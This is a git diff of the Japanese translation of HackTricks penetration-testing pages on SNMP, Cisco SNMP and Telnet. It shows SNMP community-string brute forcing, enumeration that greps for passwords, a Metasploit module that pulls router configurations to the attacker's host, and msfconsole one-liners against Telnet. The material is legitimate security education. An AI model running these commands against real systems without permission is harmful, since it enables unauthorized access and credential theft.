-SNMPは**トラップ**用にもポート**162/UDP**を使用します。これらは、**明示的に要求されていない場合にSNMPサーバーからクライアントに送信されるデータパケット**です。
+SNMPは**トラップ**のためにもポート**162/UDP**を使用します。これらは、**明示的に要求されていない場合にSNMPサーバーからクライアントに送信されるデータパケット**です。
{% endhint %}
### MIB
-SNMPアクセスがさまざまな製造業者や異なるクライアントサーバーの組み合わせで機能するようにするために、**Management Information Base (MIB)** が作成されました。MIBは、デバイス情報を格納する**独立した形式**です。MIBは、すべての問い合わせ可能な**SNMPオブジェクト**が**標準化された**ツリー階層でリストされた**テキスト**ファイルです。少なくとも1つの`Object Identifier(OID)`を含み、**一意のアドレス**と**名前**に加えて、各オブジェクトのタイプ、アクセス権、および説明に関する情報も提供します。\
-MIBファイルは、`Abstract Syntax Notation One(ASN.1)`ベースのASCIIテキスト形式で記述されます。**MIBにはデータが含まれていません**が、**どこでどの情報を見つけるか**や、それがどのように見えるか、特定のOIDの返り値、または使用されるデータ型について説明します。
+SNMPアクセスがさまざまな製造業者や異なるクライアントサーバーの組み合わせで機能するようにするために、**Management Information Base(MIB)**が作成されました。MIBは**デバイス情報を格納するための独立した形式**です。MIBは**標準化された**ツリー階層にリストされたデバイスのすべての問い合わせ可能な**SNMPオブジェクト**が記載された**テキスト**ファイルです。少なくとも1つの`Object Identifier(OID)`を含み、**一意のアドレスと名前に加えて、各オブジェクトのタイプ、アクセス権、および説明も提供**します。\
+MIBファイルは、`Abstract Syntax Notation One(ASN.1)`ベースのASCIIテキスト形式で記述されます。**MIBにはデータが含まれていない**が、**どこでどの情報を見つけるか**、それがどのように見えるか、特定のOIDの値を返すか、使用されるデータ型などについて説明します。
### OIDs
-**オブジェクト識別子(OID)**は重要な役割を果たします。これらのユニークな識別子は、**Management Information Base (MIB)** 内のオブジェクトを管理するために設計されています。
+**オブジェクト識別子(OID)**は重要な役割を果たします。これらのユニークな識別子は、**Management Information Base(MIB)**内のオブジェクトを管理するために設計されています。
MIBオブジェクトID(OID)の最上位レベルは、さまざまな標準設定組織に割り当てられています。これらのトップレベルでは、グローバル管理慣行と標準の枠組みが確立されています。
-さらに、ベンダーはプライベートブランチを設立する権利を与えられています。これらのブランチ内で、彼らは**自社の製品ラインに関連する管理オブジェクトを含める権限**を持っています。このシステムにより、異なるベンダーや標準間でさまざまなオブジェクトを識別および管理するための構造化された方法が確立されています。
+さらに、ベンダーはプライベートブランチを設立する権利を与えられています。これらのブランチ内では、**独自の製品ラインに関連する管理オブジェクトを含める権限**があります。このシステムにより、異なるベンダーや標準間でさまざまなオブジェクトを識別および管理するための構造化された方法が確立されています。
![](../../.gitbook/assets/snmp_oid_mib_tree.png)
-ウェブ上で**OIDツリー**を**ナビゲート**するには、こちらを参照してください:[http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus)、または`1.3.6.1.2.1.1`のようなOIDが何を意味するかを確認するには、[http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)にアクセスしてください。\
-[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1)内のような**よく知られたOID**があり、これはMIB-2で定義されたSimple Network Management Protocol (SNMP)変数を参照しています。そして、このOIDから**派生するOID**から、いくつかの興味深いホストデータ(システムデータ、ネットワークデータ、プロセスデータなど)を取得できます。
+ここから**OIDツリー**をウェブで**ナビゲート**できます:[http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus)または`1.3.6.1.2.1.1`のようなOIDが何を意味するかを確認できます:[http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)。\
+[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1)内のような**よく知られたOID**があり、これはMIB-2で定義されたSimple Network Management Protocol(SNMP)変数を参照しています。そして、このOIDから**派生するOID**からいくつかの興味深いホストデータ(システムデータ、ネットワークデータ、プロセスデータなど)を取得できます。
### **OIDの例**
@@ -49,24 +51,24 @@ MIBオブジェクトID(OID)の最上位レベルは、さまざまな標準
**`1 . 3 . 6 . 1 . 4 . 1 . 1452 . 1 . 2 . 5 . 1 . 3. 21 . 1 . 4 . 7`**
-このアドレスの分解は次のとおりです。
+このアドレスの詳細は次のとおりです。
* 1 – これはISOと呼ばれ、これがOIDであることを確立します。これはすべてのOIDが「1」で始まる理由です。
* 3 – これはORGと呼ばれ、デバイスを構築した組織を指定するために使用されます。
* 6 – これはdodまたはDepartment of Defenseであり、最初にインターネットを確立した組織です。
* 1 – これはインターネットの値で、すべての通信がインターネットを介して行われることを示します。
-* 4 – この値は、このデバイスが政府機関ではなく、私企業によって製造されたことを示します。
+* 4 – この値は、このデバイスが政府機関ではなく私企業によって製造されたことを決定します。
* 1 – この値は、デバイスが企業またはビジネスエンティティによって製造されたことを示します。
-これらの最初の6つの値はすべてのデバイスで同じであり、それらに関する基本情報を提供します。これらの数字のシーケンスは、政府機関によって製造されたデバイス以外はすべてのOIDに対して同じになります。
+これらの最初の6つの値はすべてのデバイスで同じであり、それらについての基本情報を提供します。政府機関によってデバイスが製造された場合を除いて、この数字のシーケンスはすべてのOIDで同じになります。
-次の数字に進みます。
+次の一連の数字に進みます。
* 1452 – このデバイスを製造した組織の名前を示します。
* 1 – デバイスのタイプを説明します。この場合、アラームクロックです。
-* 2 – このデバイスがリモート端末ユニットであることを示します。
+* 2 – このデバイスがリモート端末ユニットであることを決定します。
-残りの値は、デバイスに関する具体的な情報を提供します。
+残りの値はデバイスに関する具体的な情報を提供します。
* 5 – 離散アラームポイントを示します。
* 1 – デバイス内の特定のポイント
@@ -80,21 +82,21 @@ MIBオブジェクトID(OID)の最上位レベルは、さまざまな標準
SNMPには2つの重要なバージョンがあります:
-* **SNMPv1**:主要なバージョンであり、**認証は文字列に基づいて**います(コミュニティ文字列)(すべての情報が平文で送信されます)。**バージョン2および2c**も**情報が平文で送信**され、**認証にコミュニティ文字列が使用**されます。
+* **SNMPv1**:主要なバージョンであり、**認証は文字列に基づいて**います(コミュニティ文字列)(すべての情報が平文で送信されます)。**バージョン2および2c**も情報を**平文で送信**し、**認証にコミュニティ文字列**を使用します。
* **SNMPv3**:より良い**認証形式**を使用し、情報は**暗号化**されます(**辞書攻撃**は実行できますが、SNMPv1およびv2よりも正しい資格情報を見つけるのははるかに難しいでしょう)。
### コミュニティ文字列
-前述のように、**MIBに保存されている情報にアクセスするには、バージョン1および2/2cのコミュニティ文字列、バージョン3の資格情報を知る必要があります。**\
+前述のように、**MIBに保存された情報にアクセスするには、バージョン1および2/2cのコミュニティ文字列、バージョン3の資格情報を知る必要があります。**\
**コミュニティ文字列には2種類**あります:
* **`public`**:主に**読み取り専用**機能
-* **`private`**:一般的に**読み取り/書き込み**機能
+* **`private`**:一般的に**読み取り/書き込み**
-OIDの書き込み可能性は使用されるコミュニティ文字列に依存するため、**"public"**が使用されているとしても、**一部の値を書き込むことができる**場合があります。また、**常に "読み取り専用"** であるオブジェクトが存在する可能性があります。\
-オブジェクトを**書き込もうとする**と、**`noSuchName`または`readOnly`エラー**が受信されます。
+OIDの書き込み可能性は使用されるコミュニティ文字列に依存するため、**たとえ**「**public**」が使用されているとわかっても、**一部の値を書き込むことができる**可能性があります。また、**常に「読み取り専用」**であるオブジェクトが存在する**可能性**があります。\
+オブジェクトを**書き込もうと**すると、**`noSuchName`または`readOnly`エラー**が受信されます。
-バージョン1および2/2cでは、**誤った**コミュニティ文字列を使用すると、サーバーは**応答しません**。したがって、応答がある場合、**有効なコミュニティ文字列が使用**されています。
+バージョン1および2/2cでは、**誤った**コミュニティ文字列を使用するとサーバーが**応答しない**ため、サーバーが応答した場合は**有効なコミュニティ文字列が使用された**ことになります。
## ポート
@@ -102,7 +104,7 @@ OIDの書き込み可能性は使用されるコミュニティ文字列に依
* SNMPエージェントはUDPポート**161**でリクエストを受信します。
* マネージャーはポート**162**で通知([トラップ](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap)および[InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest))を受信します。
-* [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security)または[Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security)と組み合わせて使用する場合、リクエストはポート**10161**で受信され、通知はポート**10162**に送信されます。
+* [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security)または[Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security)と共に使用する場合、リクエストはポート**10161**で受信され、通知はポート**10162**に送信されます。
## コミュニティ文字列の総当たり攻撃(v1およびv2c)
@@ -110,7 +112,7 @@ OIDの書き込み可能性は使用されるコミュニティ文字列に依
## SNMPの列挙
-デバイスから収集された**各OIDの意味**を確認するには、以下をインストールすることをお勧めします:
+デバイスから収集された**各OIDの意味**を確認するために、以下をインストールすることをお勧めします:
```bash
apt-get install snmp-mibs-downloader
download-mibs
@@ -137,7 +139,7 @@ braa @:.1.3.6.* #Bruteforce specific OID
```bash
snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
-**SNMP**には、ホストに関する多くの情報が含まれており、興味深い情報には、**ネットワークインターフェース**(IPv4および**IPv6**アドレス)、ユーザー名、稼働時間、サーバー/OSバージョン、および**プロセス**(パスワードを含む場合があります)があります。
+**SNMP**には、ホストに関する多くの情報が含まれており、興味深い情報には、**ネットワークインターフェイス**(IPv4および**IPv6**アドレス)、ユーザー名、稼働時間、サーバー/OSバージョン、および**プロセス**(パスワードを含む場合があります)が含まれています。
### **危険な設定**
@@ -145,25 +147,25 @@ snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull
### アクセス設定
-ネットワーク管理において、完全なOIDツリーへのアクセスを可能にする2つの主要な設定があります:
+ネットワーク管理において、重要な設定の1つは、ネットワーク管理において重要な**完全なOIDツリー**へのアクセスを可能にする2つの主要な設定です:
-1. **`rwuser noauth`**は、認証を必要とせずにOIDツリーへの完全なアクセスを許可するために設定されています。この設定は直感的で制限なしのアクセスを可能にします。
+1. **`rwuser noauth`**は、認証を必要とせずにOIDツリーへの完全なアクセスを許可するように設定されています。この設定は直感的で制限なしのアクセスを可能にします。
2. より具体的な制御のために、次のようにアクセスを許可できます:
* **IPv4**アドレスに対しては**`rwcommunity`**、および
* **IPv6**アドレスに対しては**`rwcommunity6`**。
-両方のコマンドは**コミュニティ文字列**と関連するIPアドレスが必要で、リクエストの出所に関係なく完全なアクセスを提供します。
+両方のコマンドは**コミュニティ文字列**と関連するIPアドレスが必要であり、リクエストの出所に関係なく完全なアクセスを提供します。
-### Microsoft Windows用のSNMPパラメータ
+### Microsoft Windows向けSNMPパラメータ
-Windowsシステムのさまざまな側面を監視するために使用される一連の**Management Information Base(MIB)値**:
+Windowsシステムのさまざまな側面を監視するために使用される一連の**Management Information Base(MIB)値**がSNMPを介して利用されます:
* **システムプロセス**:`1.3.6.1.2.1.25.1.6.0`を介してアクセスされ、このパラメータはシステム内のアクティブなプロセスの監視を可能にします。
* **実行中のプログラム**:`1.3.6.1.2.1.25.4.2.1.2`の値は現在実行中のプログラムを追跡するために指定されています。
* **プロセスのパス**:プロセスが実行されている場所を特定するには、`1.3.6.1.2.1.25.4.2.1.4`のMIB値が使用されます。
-* **ストレージユニット**:ストレージユニットの監視は`1.3.6.1.2.1.25.2.3.1.4`によって容易にされます。
-* **ソフトウェア名**:システムにインストールされているソフトウェアを特定するには、`1.3.6.1.2.1.25.6.3.1.2`が使用されます。
-* **ユーザーアカウント**:`1.3.6.1.4.1.77.1.2.25`の値はユーザーアカウントの追跡を可能にします。
+* **ストレージユニット**:ストレージユニットの監視は`1.3.6.1.2.1.25.2.3.1.4`によって容易になります。
+* **ソフトウェア名**:システムにインストールされたソフトウェアを特定するには、`1.3.6.1.2.1.25.6.3.1.2`が使用されます。
+* **ユーザーアカウント**:`1.3.6.1.4.1.77.1.2.25`の値を使用すると、ユーザーアカウントを追跡できます。
* **TCPローカルポート**:最後に、`1.3.6.1.2.1.6.13.1.3`はTCPローカルポートの監視に指定されており、アクティブなネットワーク接続に関する洞察を提供します。
### Cisco
@@ -176,7 +178,7 @@ Cisco機器を使用している場合は、このページを参照してくだ
## SNMPからRCEへ
-SNMPサービス内で**値を書き込む**ことを許可する**文字列**を持っている場合、それを悪用して**コマンドを実行**する可能性があります:
+SNMPサービス内で**値を書き込む**ことを許可する**文字列**を持っている場合、それを悪用して**コマンドを実行**することができるかもしれません:
{% content-ref url="snmp-rce.md" %}
[snmp-rce.md](snmp-rce.md)
@@ -184,7 +186,7 @@ SNMPサービス内で**値を書き込む**ことを許可する**文字列**
## **Massive SNMP**
-[Braa ](https://github.com/mteg/braa)は大規模なSNMPスキャナーです。このようなツールの意図された使用法は、もちろんSNMPクエリを実行することですが、net-snmpのsnmpwalkとは異なり、数十から数百のホストを同時にクエリし、1つのプロセスで行うことができます。そのため、システムリソースをほとんど消費せず、非常に高速にスキャンを実行します。
+[Braa](https://github.com/mteg/braa)は大規模なSNMPスキャナーです。このようなツールの意図された使用法は、もちろんSNMPクエリを実行することですが、net-snmpのsnmpwalkとは異なり、数十から数百のホストを同時にクエリし、1つのプロセスで行うことができます。そのため、システムリソースをほとんど消費せず、非常に高速にスキャンを実行します。
Braaは独自のSNMPスタックを実装しているため、net-snmpのようなSNMPライブラリは必要ありません。
@@ -200,13 +202,13 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp
```
### **プライベートストリングの特定**
-重要なステップは、特にCisco IOSルーターで組織が使用している**プライベートコミュニティストリング**を特定することです。このストリングを使用すると、ルーターから**ランニング構成**を抽出できます。特定は、**grepコマンド**を使用してSNMPトラップデータを解析することに頼ることがよくあります。
+重要なステップは、特にCisco IOSルーターで組織が使用している**プライベートコミュニティストリング**を特定することです。このストリングを使用すると、ルーターから**ランニング構成**を抽出できます。特定は、しばしば**grepコマンド**を使用してSNMPトラップデータを解析し、「trap」という単語を検索することに依存しています。
```bash
grep -i "trap" *.snmp
```
### **ユーザー名/パスワード**
-MIBテーブルに保存されたログは、**失敗したログオン試行**を調べるために調べられます。これには、ユーザー名として入力されたパスワードが誤って含まれる可能性があります。価値のあるデータを見つけるために、_fail_、_failed_、または_login_などのキーワードが検索されます。
+MIBテーブルに保存されたログは、**失敗したログオン試行**を調べるために調べられます。これには、ユーザー名として入力されたパスワードが誤って含まれる可能性があります。_fail_、_failed_、または_login_などのキーワードを検索して、貴重なデータを見つけます。
```bash
grep -i "login\|fail" *.snmp
```
@@ -222,7 +224,7 @@ _**NetScanTools**_を使用して**値を変更**できます。これを行う
## スプーフィング
-SMNPサービスへのクエリを許可するACLがある場合、UDPパケット内のアドレスをスプーフィングしてトラフィックを嗅視できます。
+SMNPサービスへのクエリを許可するACLがある場合、UDPパケット内のこれらのアドレスの1つをスプーフィングしてトラフィックを嗅視できます。
## SNMP構成ファイルの調査
@@ -278,10 +280,10 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
HackTricks をサポートする他の方法:
-* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
-* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する
-* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
+* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする**
+* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
diff --git a/network-services-pentesting/pentesting-snmp/cisco-snmp.md b/network-services-pentesting/pentesting-snmp/cisco-snmp.md
index 7812f61ea..541badeba 100644
--- a/network-services-pentesting/pentesting-snmp/cisco-snmp.md
+++ b/network-services-pentesting/pentesting-snmp/cisco-snmp.md
@@ -8,11 +8,11 @@
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-* **ハッキングトリックを共有するには、** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
+* **ハッキングトリックを共有するために** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
-
+
**ハッキングキャリア**に興味がある方、そしてハッキングできないものをハックしたい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
@@ -20,9 +20,9 @@
## Ciscoネットワークのペンテスト
-**SNMP**は、一般メッセージ用の161/UDPポートとトラップメッセージ用の162/UDPポートを介してUDP上で機能します。このプロトコルはコミュニティ文字列に依存し、SNMPエージェントとサーバー間の通信を可能にするパスワードとして機能します。これらの文字列は、アクセスレベル、特に**読み取り専用(RO)または読み書き可能(RW)権限**を決定するために重要です。 ペンテスターの注目すべき攻撃ベクトルは、ネットワークデバイスに浸透することを目的とした**コミュニティ文字列の総当たり攻撃**です。
+**SNMP**は、一般メッセージ用の161/UDPポートとトラップメッセージ用の162/UDPポートを介してUDP上で機能します。このプロトコルはコミュニティ文字列に依存し、SNMPエージェントとサーバー間の通信を可能にするパスワードとして機能します。これらの文字列は、アクセスレベル、特に**読み取り専用(RO)または読み書き可能(RW)権限**を決定するために重要です。ペンテスターの注目すべき攻撃ベクトルは、ネットワークデバイスに浸透することを目的とした**コミュニティ文字列の総当たり攻撃**です。
-このような総当たり攻撃を実行するための実用的なツールは、[**onesixtyone**](https://github.com/trailofbits/onesixtyone)です。このツールには、潜在的なコミュニティ文字列のリストとターゲットのIPアドレスが必要です:
+このような総当たり攻撃を実行するための実用的なツールは、[**onesixtyone**](https://github.com/trailofbits/onesixtyone)です。このツールには、潜在的なコミュニティ文字列のリストとターゲットのIPアドレスが必要です。
```bash
onesixtyone -c communitystrings -i targets
```
@@ -30,10 +30,10 @@ onesixtyone -c communitystrings -i targets
Metasploitフレームワークには`cisco_config_tftp`モジュールがあり、RWコミュニティ文字列を取得した場合にデバイス構成を抽出することができます。この操作には次の重要なパラメータが必要です:
-* RWコミュニティ文字列(**COMMUNITY**)
-* 攻撃者のIP(**LHOST**)
-* ターゲットデバイスのIP(**RHOSTS**)
-* 構成ファイルの出力先パス(**OUTPUTDIR**)
+- RWコミュニティ文字列(**COMMUNITY**)
+- 攻撃者のIP(**LHOST**)
+- ターゲットデバイスのIP(**RHOSTS**)
+- 構成ファイルの出力先パス(**OUTPUTDIR**)
このモジュールを構成すると、デバイス設定を指定したフォルダに直接ダウンロードできます。
@@ -49,9 +49,9 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
-
+
-**ハッキングキャリア**に興味がある方や、**解読不能なものをハッキング**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
+**ハッキングキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %}
@@ -59,10 +59,10 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
htARTE(HackTricks AWS Red Team Expert)で**ゼロからヒーローまでのAWSハッキング**を学びましょう!
-* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
-* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
-* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
+* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
+* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
diff --git a/network-services-pentesting/pentesting-telnet.md b/network-services-pentesting/pentesting-telnet.md
index 135ae47c9..df061d7fc 100644
--- a/network-services-pentesting/pentesting-telnet.md
+++ b/network-services-pentesting/pentesting-telnet.md
@@ -6,23 +6,23 @@
HackTricks をサポートする他の方法:
-- **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
-- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
-- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
-- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** または [telegramグループ](https://t.me/peass) に **参加** または **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) を **フォロー** してください。
-- **ハッキングトリックを共有する**ために **HackTricks** と **HackTricks Cloud** の github リポジトリに PR を提出してください。
+* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
+* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
+* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローする。**
+* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリにPRを提出する。**
-
+
-**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能でどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出、およびエクスプロイトモジュールを開発して、彼らにより深く掘り下げる時間を与え、シェルをポップして楽しんでもらいます。
+**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出、およびエクスプロイトモジュールを開発して、彼らにより深く掘り下げる時間を与え、シェルをポップし、楽しんでもらいます。
{% embed url="https://pentest-tools.com/" %}
## **基本情報**
-Telnet は、ユーザーがネットワークを介してコンピュータにアクセスするための **安全でない** ネットワークプロトコルです。
+Telnet は、ユーザーがネットワークを介してコンピュータにアクセスするための**安全でない**ネットワークプロトコルです。
**デフォルトポート:** 23
```
@@ -30,7 +30,7 @@ Telnet は、ユーザーがネットワークを介してコンピュータに
```
## **列挙**
-### **バナー取得**
+### **バナーの取得**
```bash
nc -vn 23
```
@@ -40,9 +40,9 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23
```
スクリプト`telnet-ntlm-info.nse`はNTLM情報(Windowsバージョン)を取得します。
-[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854)によると、TELNETプロトコルには、ユーザーとサーバーがTELNET接続でより詳細な(または単に異なる)規約セットを使用することに同意するために使用できるさまざまな「**オプション**」があり、これらは「**DO、DON'T、WILL、WON'T**」構造を使用して承認されます。これらのオプションには、文字セットの変更、エコーモードの変更などが含まれる可能性があります。
+[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854)によると、TELNETプロトコルには、ユーザーとサーバーがTELNET接続でより詳細な(または単に異なる)規約セットを使用することに同意するために使用できるさまざまな「**オプション**」があり、これらは「**DO、DON'T、WILL、WON'T**」構造を使用して承認されます。
-**これらのオプションを列挙することが可能であることはわかっていますが、方法がわかりません。わかる方がいれば教えてください。**
+**これらのオプションを列挙することが可能であることはわかっていますが、方法がわかりません。わかる方は教えてください。**
### [Brute force](../generic-methodologies-and-resources/brute-force.md#telnet)
@@ -84,7 +84,7 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
```
-
+
**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してより深く掘り下げたり、シェルをポップしたり、楽しんだりするためにカスタムツール、検出、およびエクスプロイテーションモジュールを開発しています。
@@ -92,14 +92,14 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
-htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学びましょう!
+ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
-HackTricksをサポートする他の方法:
+HackTricksをサポートする他の方法:
-* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+* **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロードしたり**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
-* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**してください。
-* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
+* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする。**
+* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
diff --git a/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
index dc36919a3..14183c5b5 100644
--- a/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
+++ b/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
@@ -6,33 +6,33 @@
HackTricks をサポートする他の方法:
